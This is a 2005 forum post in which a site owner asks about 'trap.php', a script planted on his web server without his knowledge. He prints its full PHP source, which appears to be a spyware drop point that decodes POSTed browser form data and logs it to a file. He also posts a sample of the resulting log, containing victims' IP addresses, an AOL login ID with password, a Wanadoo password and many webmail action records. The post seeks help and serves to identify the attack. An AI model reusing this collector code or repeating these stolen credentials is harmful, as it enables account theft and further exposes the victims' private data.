Help, mysterious PHP script appeared on my web site

Discussion in 'NZ Computing' started by a.d., Nov 17, 2005.

  1. a.d.

    a.d. Guest

    Hi All

    Anybody mind telling me what this script does? It mysteriously appeared
    in a directory on my web site and seems to get a few thousand hits a
    week, (more than more own pages!). To me, it looks like it's data
    harvesting from MSN or something, but what the heck is it's purpose and
    WHY did someone put it on my site???

    SCRIPT: "trap.php"

    <?php
    if ($_SERVER['REQUEST_METHOD']=='POST'){
    if (strpos(strtolower($title),"msn hotmail - new message")===FALSE){
    if (strpos(strtolower($title),"chat window")===FALSE){
    if (strpos(strtolower($title),"msn hotmail - inbox")===FALSE){
    if (strpos(strtolower($url),"/search")===FALSE){
    if (strpos(strtolower($url),"showletter?")===FALSE){
    if (strpos(strtolower($url),"showfolder?")===FALSE){
    if (strpos(strtolower($url),"http://fe.bidz.com/")===FALSE){
    $data=base64_decode($data);
    if (substr(strtolower($data),0,7)!=="clsid={"){
    $fg = fopen("trap.txt",'a');
    $ip=$_SERVER['REMOTE_ADDR'];
    fwrite($fg,"ID=".$id."\t"."IP=".$_SERVER['REMOTE_ADDR']."\t"."title=".$title."\t"."URL=".$url."\t"."data:
    ".$data."\r\n");
    fclose($fg);
    }
    }
    }
    }
    }
    }
    }
    }
    }
    ?>

    I've attached a sample of the output.

    Any help appreciated.
    a.d.

    ID=6E0F88F69B462F09 IP=81.168.54.79 title=Screen Name Sign In - Microsoft Internet Explorer URL=https://my.screenname.aol.com/_cqr/login/login.psp data: sitedomain=vatlasaol-gb&siteId=vatlasaol-gb&lang=en&locale=gb&authLev=2&siteState=OrigUrl%253Dhttp%25253a%25252f%25252faolmail.aol.co.uk%25252f_cqr%25252fvllogin.adp%2526RefUrl%253Dhttp%25253a%25252f%25252fwww.aol.co.uk%25252f%25253fsiteId%25253dwwwprodaolcouk%252526authLev%25253d1%252526siteState%25253d%252526lang%25253den%252526locale%25253dgb&isSiteStateEncoded=true&mcState=initialized&usrd=5114252&loginId=housingkassie&password=5150km&rememberMe=off&x=0&y=0
    ID=6E0F88F69B462F09 IP=81.168.54.79 title=Screen Name Service - Microsoft Internet Explorer URL=http://aolmail.aol.co.uk/_cqr/login data: siteId=vatlasaol-gb&sitedomain=vatlasaol-gb&authLev=2&lang=en&locale=gb&siteState=OrigUrl%3Dhttp%253a%252f%252faolmail.aol.co.uk%252f_cqr%252fvllogin.adp%26RefUrl%3Dhttp%253a%252f%252fwww.aol.co.uk%252f%253fsiteId%253dwwwprodaolcouk%2526authLev%253d1%2526siteState%253d%2526lang%253den%2526locale%253dgb
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=Wanadoo - Today - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/connexion_submit.html data: LOGIN=&PASSWORD=Kayliegh&x=18&y=9
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/connexion_submit.html data: LOGIN=&PASSWORD=Kayleigh
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=772&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=771&PREV_MSG=&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D772%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=771&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=770&PREV_MSG=772&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D771%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/read.html data: MSG_UID=770&IDMSG=769&uids=770&FOLDER=SF_INBOX&FOLDER_ENCODE=SF_INBOX&FOLDER_DEST=SF_JUNK&TYPE=&PAGE=read.html&URL_VALID=inbox_submit_expunge.html&URL_CANCEL=read.html&MESSAGE=CONFIRM_DELETE&PARAM1=1&CONFIRM_DELETE=true&ADDRESS_TO_BLOCK=&from=&FILTERED_EMAILS=&SEARCH=NOK&URL_UNSEEN=inbox.html&FROM_SEARCH=NOK&MESSAGE_NATURE=EMAIL-NATURE&MESSAGE_CONFIRM=&ROOT=inbox.html&ORIGIN=SYSTEM_FOLDER&maildisplay_option=0&selcheck0=on&selname_0=FreeOnlineGames.com&selemail_0=&READ_MAIL=OK&selcheck1=on&selname_1=&selemail_1=&msgId=
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=769&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=768&PREV_MSG=770&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D769%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=768&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=767&PREV_MSG=769&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D768%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=767&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=766&PREV_MSG=768&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D767%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=766&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=765&PREV_MSG=767&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D766%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=765&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=764&PREV_MSG=766&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D765%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=764&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=763&PREV_MSG=765&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D764%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=763&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=762&PREV_MSG=764&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D763%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=762&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=761&PREV_MSG=763&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D762%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=761&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=760&PREV_MSG=762&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D761%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=760&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=759&PREV_MSG=761&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D760%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=759&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=757&PREV_MSG=760&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D759%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=757&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=758&PREV_MSG=759&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D757%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=758&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=756&PREV_MSG=757&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D758%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=756&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=755&PREV_MSG=758&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D756%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=755&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=754&PREV_MSG=756&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D755%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=754&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=753&PREV_MSG=755&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D754%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=753&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=752&PREV_MSG=754&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D753%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=752&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=751&PREV_MSG=753&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D752%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=751&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=750&PREV_MSG=752&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D751%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=750&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=749&PREV_MSG=751&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D750%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=749&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=748&PREV_MSG=750&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D749%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=748&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=747&PREV_MSG=749&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D748%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=747&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=746&PREV_MSG=748&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D747%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=746&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=745&PREV_MSG=747&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D746%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=745&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=744&PREV_MSG=746&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D745%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=744&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=743&PREV_MSG=745&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D744%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=743&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=742&PREV_MSG=744&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D743%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=742&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=741&PREV_MSG=743&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D742%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
